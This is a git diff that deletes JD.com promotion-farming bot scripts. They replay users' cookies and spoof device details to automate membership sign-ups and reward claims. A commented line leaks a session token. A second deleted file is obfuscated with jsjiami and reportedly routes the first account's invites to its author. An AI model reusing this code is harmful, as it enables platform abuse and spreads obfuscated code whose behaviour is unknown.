XiaoMi/MiuiBrowser/10.1.1`, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.lz_jdpin_token = resp['headers']['set-cookie'].filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} - -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activity/4984087?activityId=dz2107100000271001&lng=114.062541&lat=29.541254&sid=${$.shareUuid}&un_area=4_48201_54794_0`, - headers: { - 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1`, - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity?activityId=dz2107100000271001&lng=114.062541&lat=29.541254&sid=${$.shareUuid}&un_area=4_48201_54794_0`, - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo', `activityId=dz2107100000271001`, `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function shopInfo() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001`; - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo`, - body: body, - headers: { - 'Connection': 'Keep-Alive', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Accept': '*/*', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1', - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - // 'Cookie': `lz_jdpin_token=eyJ0eXBlIjoiand0IiwiYWxnIjoiSFM1MTIifQ.eyJwaW4iOiJEUUNLL2tzVk14eGhBdFAyd2JRZkkwN29lVlA5a3EycFlTSDkwbVl0NG0zZndjSmxDbHB4cmZtVllhR0t1cXVRa2RLM3JMQlFwRVFIOVY0dGRycmgwdz09IiwicmsiOiJlZWZlMTllYzhmNTY0MmQxYjQ5YTY1ZDdjODBjODk1NyIsImV4cGlyZV90aW1lIjoxNjI3ODI1MjgxMTExfQ.9QwgFKXAZL1Hs_YfXUgpSBUqUMAKtaOhdJd4op7Gd9tsHSNBXCN0lQNx02bvfcxbURipboNkY-yPYeWYl4CgVg; LZ_TOKEN_KEY=lztokenpagebc6b681655bb41b79004b308795254f8; LZ_TOKEN_VALUE=B0oH3vDY2bhHWuKbVaJ+XQ==`, - // 'Cookie': `${$.lz_jdpin_token} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function index() { - return new Promise(resolve => { - let body = `activityId=dz2107100000271001` - $.get({ - url: `https://h5.m.jd.com/babelDiy/Zeus/2vQWcFpeGVxMqGFiUbGAM3CzqvJS/index.html?1`, - headers: { - 'Connection': 'Keep-Alive', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Accept': '*/*', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1', - 'Host': 'h5.m.jd.com', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function adLog() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=1000003179&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz2107100000271001&pageUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activity/4984087?activityId=dz2107100000271001&shareUuid=8d525bc2bf0c477691c7430f769619d9&adsource=null&shareuserid4minipg=wtUcS9k2kekRmYYaphb32U7oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000370909&lng=114.062590&lat=29.541489&sid=5fa6c7778669e4865e2e7e7ba5ea098w&un_area=4_48201_54794_0&subType=APP&adSource=null`, - headers: { - 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activityContent`, - body: `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=https%3A%2F%2Fimg10.360buyimg.com%2Fimgzone%2Fjfs%2Ft1%2F7020%2F27%2F13511%2F6142%2F5c5138d8E4df2e764%2F5a1216a3a5043c5d.png&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activityContent', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -function taskPostUrl(url, body, referer) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Host": "lzdz1-isv.isvjcloud.com", - "Accept": "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded; Charset=UTF-8", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "Connection": "keep-alive", - "Referer": referer ? referer : `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0713eliminate/?activityId=735c30216dc640638ceb6e63ff6d8b17&shareUuid=${$.shareUuid}&adsource=&shareuserid4minipg=u%2FcWHIy7%2Fx3Ij%20HjfbnnePkaL5GGqMTUc8u%2Fotw2E%20a7Ak3lgFoFQlZmf45w8Jzw&shopid=0&lng=114.062541&lat=29.541254&sid=57b59835c68ed8959d124d644f61c58w&un_area=4_48201_54794_0`, - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1 ", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - } -} - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/jd_opencard_all_people_FYF_enc.js b/backUp/jd_opencard_all_people_FYF_enc.js deleted file mode 100644 index 41f5197..0000000 --- a/backUp/jd_opencard_all_people_FYF_enc.js +++ /dev/null @@ -1,44 +0,0 @@ -/* -直接跑完全部助力CK1 - -第一个账号助力我 其他依次助力CK1 -第一个CK失效应该全都会助力我,亲注意一下 -入口复制到jd: -24.0复制整段话 Https:/J0WK1iAopdOoEI 千万京豆等你来瓜分,万元豪礼免费赢!#NDji66mM7a@祛→【猄〤崬】 - -更新地址:https://github.com/Tsukasa007/my_script -============Quantumultx=============== -[task_local] -#8.18-8.26 全民发一发 大牌狂欢趴 -5 0,5,23 * * * jd_opencard_all_people_FYF.js, tag=8.18-8.26 全民发一发 大牌狂欢趴, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_opencard_all_people_FYF.png, enabled=true - -================Loon============== -[Script] -cron "5 0,5,23 * * *" script-path=jd_opencard_all_people_FYF.js,tag=8.18-8.26 全民发一发 大牌狂欢趴 - -===============Surge================= -8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,cronexp="5 0,5,23 * * *",wake-system=1,timeout=3600,script-path=jd_opencard_all_people_FYF.js - -============小火箭========= -8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,script-path=jd_opencard_all_people_FYF.js, cronexpr="5 0,5,23 * * *", timeout=3600, enable=true -*/ -const $ = new Env('8.18-8.26 全民发一发 大牌狂欢趴'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -var _0xodk='jsjiami.com.v6',_0x32c1=[_0xodk,'ARVQwpnDhQ==','FzfDoAzDpQ==','HsKywrjDpXo=','R8KFScKDwpE=','w4wAw6sGAw==','w4PDhcO6Gi/Dq8KxfTRmb3bDj33DgMKYWcOjw7fDhEjCkMOHw6/CtcKIDEQaw48re8O2bWA0woksHQHCkMOfID7DllLChMOZJmTCti/DoBldwo9bTsKkwrfCoAJCwr83wppo','w6LDtMOALho=','woDCu8K/w5TDsQ==','OcKOKMKRwqA=','IsKNBcOWUg==','K8KsPMKQwqI=','wrN0w5nDqlo=','Hi5Rwo3DlA==','w7caw5QeDw==','wqrCmcKTAhQ=','UMOwGsO7Ig==','XDlBw4oW','woLCksKTFSg=','PEg6AcKe','AWjDuWw7','w6vChMOhPnE=','wqEYw5bCiCA=','w4DCh8KPS8OU','wpE1WsKvEg==','WiLCicOdw7M=','HcK8M8OxeQ==','wq4nw6XCkiU=','T8KkY8K+wqk=','F8KOwo/Dng==','CyrDninDmFLDnixLK8OLw7MXezTCpwrCo0pNwpbDr8Klw4bCmMOMLcOQwrJrwpTDixnCvwbCtcK8w6TDpMOiwohrw6TDjsO3w4wea8KhR1dOw6/Cj03ClcOcw5rDv8O2w7jCq2wZw5JHJA==','w6QJw5AOHncwdsKgwrHCmcO6RMKQDlbClcKnLQfCvGZET1fCgsKLwqzDlMKvw7fCskI7CcO6w6lQOnwyw7vDmTljYMKBwr0=','XgPDicK5HA==','A8KkCcKvwqLCtHHDuRYx','OD3Cm3/CnMKyw4DDicKl','w4wxw7zCqTvDu8Kgw4kMS8KRw6pUwq7CtsKlwqBww7PDh8KrLcKnwpQHUcOgP1ttdMKBwoHDhsO8dS/DhRjDoMO4Ozw7wrLCu8Ovwo5+wpLDosKobgrClsKbe8Oew55IeVdCw4AlOsKjwoUdw6ABYkUaNEzCkMOvw5AFwoHCuC/DvlR/a8KlwqtXccKLOsOfw57DtkPCgUcVw4DCv8KIwpRMeHjDmMOJw6LDhMOVw7pFN8OwQ8O+w6rDsArCuMKywrwawqzDssOHPirDncOJwrEgSGNgwqI=','Jwo1w6PChg==','O8KcIMOXRS0mwqRzaQ==','K1nDom05XMOADw==','cMKGGsOHUxoLwqs6LsK5IcK3wqzCkkghw6jDv31RbinDpMOGwpzCncOPwrc=','OCAHw57CtMKrw554wrg=','PVzDuFMA','b2fCtQjDhCcxZjwpw4oxUAsyO8O6NcODw6JHfsKQw6bDuCMJNRoSMcKew7lcBSfDujU6w7PDoU3DhFRoSMOrLX3DlMOzRBPCrcOXJQUjT8Ktw6zCk8KpGmUuwoJvOUlGVi7DqMKYT8OwwpbCrDnCgRAAw7IWZhfDmy5YZsOtPkzCv0zDswLCswjCm8K5Z0TCuSzCsTpOw73ClMOxwp18wqcAw5kRw7Ucw6UiQwNxwqVzHcOfwrPDrwHDqsK0woPCu8KTwpLDpCkyJMKDAMO7wpArOMOsAmVuJ3NcwojCkcKHwoM9JQ5kw4vCtsOZwqjDnMOIYhs0wotTWMKxCEseBcKnGT9HEcKxwrdewqF5RsKDwoTDgsO3PQ==','GsK1LMKuwrU=','f8K3acOgw7M=','WMKvacK9woE=','YylYw5Uaw4tww6vDtTl9w7Ex','wqtywpTDg8KnwpDCuwoSwoUJCg==','DMOpwoQ6a8OGw4nCl8KjZsKFQsKpD1nCscOh','AMO4O8Obw4DCsMOmwoVHwoQaw79rHA==','w6ZHHMK2YhbDnsOMNcOxHMO7QB4=','KmobwpHDqcO3w5tCw6s=','w4/DmksWCgVQBUvCkxhaU28=','RMKQwoY6bQ==','w6jCjsKySsOj','wp82w77CswM=','w4sxwoxuaQ==','b8OlIcO/Jg==','GMKpFMKQwrs=','w4c/w7QzPw==','w6bCksOaJVU=','ThDDg8K7Lw==','EVIeI8KI','Vk7CiTjDsg==','wowgw5nCphE=','dMKPwroCQg==','ZcKgX8KswoA=','KBvDvCvDmg==','ACBU','CMKeHsKPwqI=','EGEOwrPDnA==','P085PMKO','LznCjGw=','w6AwBcK9IQ==','dsKLaMKHHw==','dgvCjcOtw4k=','woMtw5vCrD0=','w4nCmcOv','dcO7SsOOJ0kew6DDsQ==','TE1mw7Q=','w7bCkcKSw7/oroDms4DlppjotKbvv4Porq3moITmn6fnvqDotLvphrforKI=','w6nCssOxwrjCli8=','wrnCuMKYIgk=','ExbCnGDCvA==','ekbCqwzDrQ==','wotHwqzDksKawqk=','acO8VsO2Dw==','CsK+L8KVwoI=','Bz3DnArDpQ==','bsO7TMOXOhRYwqnDpALCksONwrd1CsKcw5LCiwnCrMKyKcKVw6DDvBslEcKCw6LCnA==','R8ONIcOdGA==','wovDkwd2w5o=','dsKPwrEWfA==','WwJpw4Qt','BznCjn3CsQ==','N8OqaMKyw4o=','w4nDgmE/KA==','w53CmsOnBkI=','IyzCjH3CisO8wr/Cj8KnwrZ+wplnfCnDrnUXwrp1wrjDuMOXMcO4NgPDsUtFC8Kdw45vwpdswoHDmMOTwrAew6VfaRNAXMKpV8OZw4ZTw7Ryw48Vw7rDnSEYw4VqXcKew7McE8ODw7E1w7bCuGHCnsOQN8KmK0jDmx8rEcKqScKIw5TDtX3CpMO2wonDqG/CjlzCg8Kqw5cMwqDDv8K/CcObwr3DhEUefcKPCcKnwpZewqbCqhPCvmrDgMOgwq0+w4IYwpNUScOHwp7Cr1bCv8Oi','F8ObTGPCo8KfCcKDw5Y=','w6A7C8K9IcOQbHTDpg==','X3tZcsKx','w6TCmcKrw4LDlMK0XMOHw4xEw59gdAHCgcOYQcOgPyVawq/Co2HDgMOgVsO2woLCuGjDt8KWwoBFw67CmsK1w5E0w6Y6wpMOFxBPw5TCrELClcKew4HDusOCwoLCl8O/BsOlwooZNMO7w6zCqMKIwogtQMK2wo7Dr8KvcMK5B8OFwqXDt8KmO8OlJ8KDwpMHQBbDmsKqZnBPVwoFO8OET8O7ZwlJw481QmjDu8Ksw6nCksOPasOVSmd/IcKDwqfDt0cxO8Kww4lxwohRBgXCg07DgsKUwrEjwq5+ElPDuGHCgmUVYMOjwoDDkMOSw5DClUrDpXENQMK5wrDDq8OLTsKoOgbDkCbCk8KFDcOUfsKPwqkAw48VXcKQImbCh8OsaQ16wqzDnEXDt0I4woHDnDEfw49yTMKcwoY=','KMKvw7hKesKTw73DumkGw4jCrl3Crw==','acOvNcOiAcKtwq3CrmxPKDI=','IwNWZ8K3wo/Cs8KFGkjDrQ1dw7dRS08=','wpE9AsK3eRXDhMOBNcOyDsOyR2Y=','XcKIQsKtw5UFACcnwpzDgMK1f8On','w4TCrcKVacOcFRDDn3JD','wrpRWMOvw4tbc8OawqM=','WCLCgMO9w77DkMKPw6nCisKOworDr11X','a8K1w4VUeA==','EsOnVEXCsw==','KMOSWsKXw4M=','wr0vw4HCswo=','FX4UwpXDlg==','WsOcw4HClyXDhcKCwpUMOTEzw6/DvsKAZcOhw6zCl+S8j+mCoeitv+S4qO+9qFQ=','IsKoZsKKwqMtDkjClBwYZsKYKsK/WcOKw5XDmMORNsK7eMKvEDXDpy3CnW5ew58/w74=','w4PDhcO6Gi/Dq8KxfTRmb3bDj33DgMKYWcOjw7fDhEjCkMOHw6/CtcKIDEQaw48re8O2bWA0woksHQHCkMOfID7DllLChMOZJmTCti/DohJMwoVGaMKgwqvCjS5Nwrk2','BcOQWXjCsMKjCMKTw7vCsE4EYDfDisKZw4bDqkbDtcOGwopoeTPCpsKLFUzDvHxcwpDCocOKwo5rGHLDqsOvw6vCiVPCosOTQ8KjSMOnLUNmUw==','wosiw6HCqADDg8Kywp0A','BF9jw7ACQ3fDlcKlw6RE','w7bCtcO3wo/CgQjCkUAo','w5zCjsKDLkI=','w4k2GMKWBg==','CsKYwqzDg3bCn8O7w4lFZQ==','EDvDiSvDjhzCoWpJ','FsOHcMKM','wpZGccO2wqE=','w7nDt3wfDA==','w6zCrcOQwo/Crw==','w5nDkUcnMQ==','wq1uw5TDlHk=','w74jwq1sbQ==','UMKowqcrRg==','HcObK8Otw4A=','w4DCtcOAKk0=','wqZ4w5bDr0s=','W8Kmwq8=','JcKmdcKA6K6b5rGE5aet6LWb776D6KyR5qKH5p+w57+16LWD6YaZ6Ky+','a8OqS8OUKEkS','wrTCi8K4w4fDkQ==','f8OwLsO8AQ==','fsOFSsOqHQ==','d8OKUsOeEw==','A8KAwojDiw==','dEx9','wqpJasOMwoI=','UHpmw7Up','wr/CpMKPw5Ec','w67DuGYk','w5DDg3sOCw==','W8Kmwq8lRsOg','wrdxwqrCmSQ=','ADVXwpbCncOrwqLCq8OXwrXCvMO/C1DCiMObf0xCwqsDw7jDow==','w4jCpMK1bMObETXDim9Nw5I6KMK+